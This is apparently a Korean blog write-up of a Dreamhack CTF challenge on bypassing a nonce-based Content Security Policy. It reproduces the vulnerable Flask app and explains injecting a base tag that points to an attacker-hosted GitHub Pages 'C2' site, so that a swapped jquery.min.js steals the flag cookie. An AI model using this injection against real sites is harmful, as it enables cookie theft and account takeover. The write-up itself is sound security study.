Iriton's log

[Dreamhack] Lv.3 CSP Bypass Advanced 본문

WebHacking/WarGame

[Dreamhack] Lv.3 CSP Bypass Advanced

Iriton 2024. 11. 6. 16:44

https://dreamhack.io/wargame/challenges/436

 

CSP Bypass Advanced

Description Exercise: CSP Bypass의 패치된 문제입니다. 문제 수정 내역 2023.08.07 Dockerfile 제공

dreamhack.io

CSP Bypass란?


Content Security Policy (CSP)는 XSS 취약점을 활용한 공격으로부터 피해를 최소화하기 위해 새롭게 추가된 보안 계층

 

이를 우회하기 위한 방법 CSP Bypass

  1. 인라인 코드를 이용 - 태그의 src 속성으로 로드하는 게 아닌 태그 내에 직접 코드를 삽입
  2. JSONP - JS의 페이로드는 callback이라는 GET 매개변수를 통해 JSONP 엔드포인트에 삽입할 수 있으며 엔드포인트는 SOP(동일출처정책)을 우회하여 JSON으로 반환

 

코드 분석


#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

/vuln 페이지

 

이 페이지는 param이라는 쿼리 매개변수를 받을 수 있다.

request.args.get("param", "")을 통해 param 값이 있으면 반환하고, 없으면 빈 문자열을 반환한다.

받은 param 값을 render_template("vuln.html", param=param, nonce=nonce)를 통해 vuln.html 템플릿에 전달하여 렌더링한다.

/flag 페이지

 

GET 메서드로 접근하면 flag.html 템플릿이 렌더링된다.

POST 메서드로 접근하면 param이라는 폼 매개변수를 받아 param 변수에 저장하고, check_xss 함수에 param 값과 쿠키 값에 FLAG를 포함하여 전달한다.

 

check_xss()

 

check_xss 함수는 전달받은 param 값을 URL에 포함시켜 /vuln 페이지에 요청을 보낸다.

이때, read_url 함수에서 주어진 쿠키 {name: "flag", value: FLAG.strip()}를 설정하여 요청을 보낸다.

 

 

 

read_url()

이 함수는 셀레니움을 이용하여 로컬 서버에 접근한다.

주어진 URL로 접속하여 설정한 쿠키를 포함해 페이지를 로드한다.

URL에 대한 요청이 성공하면 True를 반환하고, 예외 발생 시 False를 반환한다.

 

쿠키 값 {name: "flag", value: FLAG}가 서버에 요청과 함께 추가된다.

이 쿠키가 서버에 전달되므로, 특정 URL에 플래그 값이 포함된 쿠키를 전달할 수 있는 페이지가 필요하다.

 

/memo 페이지

memo_text라는 전역 변수를 사용하여, 사용자가 memo 매개변수를 통해 전달한 텍스트를 누적해서 저장한다.

memo.html 템플릿에 누적된 메모를 표시한다.

 

/memo 페이지는 서버에 전달된 메모를 화면에 표시하므로, 이를 통해 플래그를 확인할 수 있을 가능성이 있다.

/flag 페이지에서 악성 스크립트를 사용하여 /memo 페이지에 쿠키 값을 전달하게 하면, 이 페이지에서 플래그를 출력할 수 있다.

 

 

add_header()

HTTP 응답에 CSP 헤더를 추가하는 함수이다.

어떤 방식으로 CSP 정책이 정의되어 있는지 봐야 한다.

 

CSP 정책 중 script와 관련된 정책을 살펴보면 nonce 속성을 필요로 하며, 같은 출처 내의 파일만을 script의 src로 올 수 있도록 출처를 self 로 제한하고 있다.

공격자는 nonce 값을 알 수 없기 때문에 XSS 취약점이 존재해도 일반적인 방법(<script> alert(1);</script>)으로는 공격을 수행할 수 없다.

 

취약점 분석


vuln와 memo 엔드포인트는 사용자가 입력한 값을 페이지에 그대로 출력한다.

memo는 render_template 함수를 통해 memo.html을 렌더링하는데, 이 함수는 전달받은 템플릿 변수를 HTML 엔티티 코드로 변환하여 저장하기 때문에 memo 페이지에서 XSS 취약점이 발생하지 않는다.

하지만 vuln은 사용자가 입력한 값을 그대로 출력하기 때문에 XSS 취약점이 발생할 수 있다.

여기까진 드림핵 웹해킹 풀다 보면 외우게 될 정도로 당연한 얘기이다.

 

Challenge

애플리케이션에 CSP정책이 적용되어 있어 스크립트를 직접 실행하는 것은 불가능하다.

CSP 정책에서 허용된 출처는 self뿐이다.

즉, 현재 페이지와 동일한 도메인에서 제공되는 리소스만 실행이 가능하다.

또한, 애플리케이션은 페이지마다 nonce를 생성해 <script> 태그에서 nonce 속성을 요구한다.

nonce가 페이지가 로드될 때마다 새로 생성되기 때문에 예측할 수 없다는 게 문제이다.

 

일단 웹 애플리케이션 동작을 살펴 보자.

 

인라인 스크립트는 'unsafe-inline' 키워드를 사용하거나 특정 hash 또는 nonce가 부여된 스크립트만 실행할 수 있다고 한다.

저 nonce를 입력해서 다시 보내도 의미가 없다. 로드될 때마다 새로 지정되는 값이기 때메 미리 예측할 수가 없다.

 

CSP Bypass 강의에서 배운 것처럼,

script 태그의 src를 vuln 페이지로 사용함으로써 CSP 정책에서 제한하고 있는 self 출처를 위반하지 않은 채로 우리가 원하는 스크립트를 로드할 수 있을 것이라 생각하여 아래 코드를 파라미터로 보냈다.

<script src="/vuln?param=alert(1)"></script>

 

안 되는 이유는 다음과 같다.

CSP Bypass 문제에서는 /vuln 페이지에서 파라미터로 받은 내용을 그대로 출력했는데

Advanced 문제에서는 완전한 HTML 문서를 반환한다.

따라서,  HTML 문서에 JS 코드를 넣어버리니, javascript로 해석될 수 없어(<!DOCTYPE html>~로 시작하는 문서 자체를 javascript로 해석하려고 하기 때문에) 오류가 발생하는 것이다.

 

도저히 감을 못 잡겠어서 구글링으로 힌트를 얻어 보았다.

base 태그와 외부 서버

라는 키워드만 보고 다시 문제로 돌아왔다.

 

우선 <base> 태그는 HTML 문서 내에서 상대 URL의 기준점을 설정하는 데 사용된다.

이 태그가 설정되면 모든 상대 URL은 지정된 기준 URL을 따라 해석된다.

따라서, 외부 URL이어도 해당 URL을 기준으로 특정 스크립트를 실행할 수 있게 된다.

 

그럼 어떤 코드를 타겟으로 할지 element를 보자.

/static/js/jquery.min.js랑 /static/js/bootstrap.min.js 코드를 사용한다.

이때 base가 설정되어있지 않다면 알아서 해당 서버의 경로에 접근하여 js 코드를 사용하지만,

base 태그를 이용하여 다른 서버로 연결한다면 그 서버의 js를 갖고올것이다.

 

Exploit


서버를 어케 만드냐... 했을 때

예~전에 CTF 풀 때 깃허브로 웹 호스팅 가능한 게 생각났다.

 

호스팅할 수 있도록 {이름}.github.io라는 이름으로 리포지토리를 생성한다.

/static/js/jquery.min.js

에 위와 같은 코드를 작성하고 flag 페이지에 가서 base 태그를 이용하여 지정해 보자.

 

 

<base href="https://{이름}.github.io/">

를 파라미터로 넘겨 주면 base URL이 C2 서버로 연결된다.

따라서 /static/js/jquery.min.js는 로컬 서버로 접근하는 게 아닌 깃허브 페이지로 연결되어 내가 작성한 코드가 로드된다.

CSP는 이를 알 방법이 없고, 정책을 우회한 게 되는 것이다.

flag의 쿠키를 로컬서버의 memo 페이지의 memo 파라미터로 넘겨주므로 hello 대신 flag가 뜰 수 있게 되는 것이다.

 

'WebHacking > WarGame' 카테고리의 다른 글

[Dreamhack] Beginner: phpreg  (0) 2024.11.14
[Dreamhack] Lv.3 chocoshop  (3) 2024.11.08
[Dreamhack] Lv.3 XSS Filtering Bypass Advanced  (1) 2024.10.30
[Dreamhack] Lv.2 blind-command  (1) 2024.09.30
[Dreamhack] Lv.2 web-ssrf  (0) 2024.09.25
Comments